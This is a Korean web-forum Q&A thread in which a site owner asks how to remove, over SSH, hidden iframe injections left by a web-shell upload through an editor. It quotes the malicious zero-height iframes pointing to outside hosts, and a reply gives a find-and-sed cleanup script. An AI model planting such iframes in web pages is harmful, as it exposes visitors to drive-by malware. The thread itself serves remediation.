ssh로 사이트 악성코드 한번에 지울수 있나요?
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
댓글 2개
14년 전
http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
아갈갤러리
14년 전
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 7830 | 9년 전 | 375 | ||
| 7829 |
|
9년 전 | 551 | |
| 7828 | 9년 전 | 486 | ||
| 7827 | 9년 전 | 372 | ||
| 7826 | 9년 전 | 380 | ||
| 7825 | 9년 전 | 434 | ||
| 7824 | 9년 전 | 416 | ||
| 7823 | 9년 전 | 321 | ||
| 7822 | 9년 전 | 315 | ||
| 7821 | 9년 전 | 262 | ||
| 7820 | 9년 전 | 316 | ||
| 7819 |
|
9년 전 | 718 | |
| 7818 | 10년 전 | 335 | ||
| 7817 | 10년 전 | 452 | ||
| 7816 | 10년 전 | 355 | ||
| 7815 | 10년 전 | 560 | ||
| 7814 | 10년 전 | 382 | ||
| 7813 | 10년 전 | 321 | ||
| 7812 | 10년 전 | 343 | ||
| 7811 | 10년 전 | 361 | ||
| 7810 | 10년 전 | 491 | ||
| 7809 | 10년 전 | 433 | ||
| 7808 | 10년 전 | 294 | ||
| 7807 | 10년 전 | 355 | ||
| 7806 |
프로그래머7
|
10년 전 | 1307 | |
| 7805 | 10년 전 | 1217 | ||
| 7804 |
zahir1312
|
10년 전 | 742 | |
| 7803 |
|
10년 전 | 1343 | |
| 7802 | 10년 전 | 400 | ||
| 7801 | 10년 전 | 827 | ||
| 7800 | 10년 전 | 1045 | ||
| 7799 | 10년 전 | 503 | ||
| 7798 | 10년 전 | 450 | ||
| 7797 | 10년 전 | 450 | ||
| 7796 | 10년 전 | 301 | ||
| 7795 | 10년 전 | 454 | ||
| 7794 | 10년 전 | 477 | ||
| 7793 | 10년 전 | 997 | ||
| 7792 | 10년 전 | 405 | ||
| 7791 | 10년 전 | 489 | ||
| 7790 | 10년 전 | 453 | ||
| 7789 |
fbastore
|
10년 전 | 1401 | |
| 7788 | 10년 전 | 484 | ||
| 7787 | 10년 전 | 351 | ||
| 7786 | 10년 전 | 503 | ||
| 7785 | 10년 전 | 521 | ||
| 7784 | 10년 전 | 590 | ||
| 7783 | 10년 전 | 391 | ||
| 7782 | 10년 전 | 446 | ||
| 7781 | 10년 전 | 845 | ||
| 7780 | 10년 전 | 775 | ||
| 7779 | 10년 전 | 746 | ||
| 7778 | 10년 전 | 315 | ||
| 7777 | 10년 전 | 398 | ||
| 7776 | 10년 전 | 402 | ||
| 7775 | 10년 전 | 339 | ||
| 7774 | 10년 전 | 600 | ||
| 7773 | 10년 전 | 321 | ||
| 7772 | 10년 전 | 665 | ||
| 7771 | 10년 전 | 326 | ||
| 7770 | 10년 전 | 612 | ||
| 7769 | 10년 전 | 328 | ||
| 7768 | 10년 전 | 547 | ||
| 7767 | 10년 전 | 1115 | ||
| 7766 | 10년 전 | 443 | ||
| 7765 | 10년 전 | 473 | ||
| 7764 |
잘살아보자
|
10년 전 | 325 | |
| 7763 |
|
10년 전 | 1400 | |
| 7762 |
Tosea
|
10년 전 | 1018 | |
| 7761 | 10년 전 | 613 | ||
| 7760 |
잘살아보자
|
10년 전 | 599 | |
| 7759 |
잘살아보자
|
10년 전 | 413 | |
| 7758 |
잘살아보자
|
10년 전 | 531 | |
| 7757 | 10년 전 | 1179 | ||
| 7756 |
ITBANK
|
10년 전 | 1217 | |
| 7755 | 10년 전 | 1893 | ||
| 7754 | 10년 전 | 996 | ||
| 7753 | 10년 전 | 842 | ||
| 7752 | 10년 전 | 1347 | ||
| 7751 |
잘살아보자
|
10년 전 | 470 | |
| 7750 |
잘살아보자
|
10년 전 | 440 | |
| 7749 |
잘살아보자
|
10년 전 | 435 | |
| 7748 |
잘살아보자
|
10년 전 | 419 | |
| 7747 |
잘살아보자
|
10년 전 | 507 | |
| 7746 |
잘살아보자
|
10년 전 | 631 | |
| 7745 |
잘살아보자
|
10년 전 | 874 | |
| 7744 |
잘살아보자
|
10년 전 | 386 | |
| 7743 | 10년 전 | 912 | ||
| 7742 |
starbros
|
10년 전 | 785 | |
| 7741 |
잘살아보자
|
10년 전 | 601 | |
| 7740 |
잘살아보자
|
10년 전 | 477 | |
| 7739 |
잘살아보자
|
10년 전 | 432 | |
| 7738 |
잘살아보자
|
10년 전 | 488 | |
| 7737 |
잘살아보자
|
10년 전 | 445 | |
| 7736 |
잘살아보자
|
10년 전 | 466 | |
| 7735 |
잘살아보자
|
10년 전 | 800 | |
| 7734 |
잘살아보자
|
10년 전 | 391 | |
| 7733 |
잘살아보자
|
10년 전 | 491 | |
| 7732 |
잘살아보자
|
10년 전 | 648 | |
| 7731 |
잘살아보자
|
10년 전 | 577 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기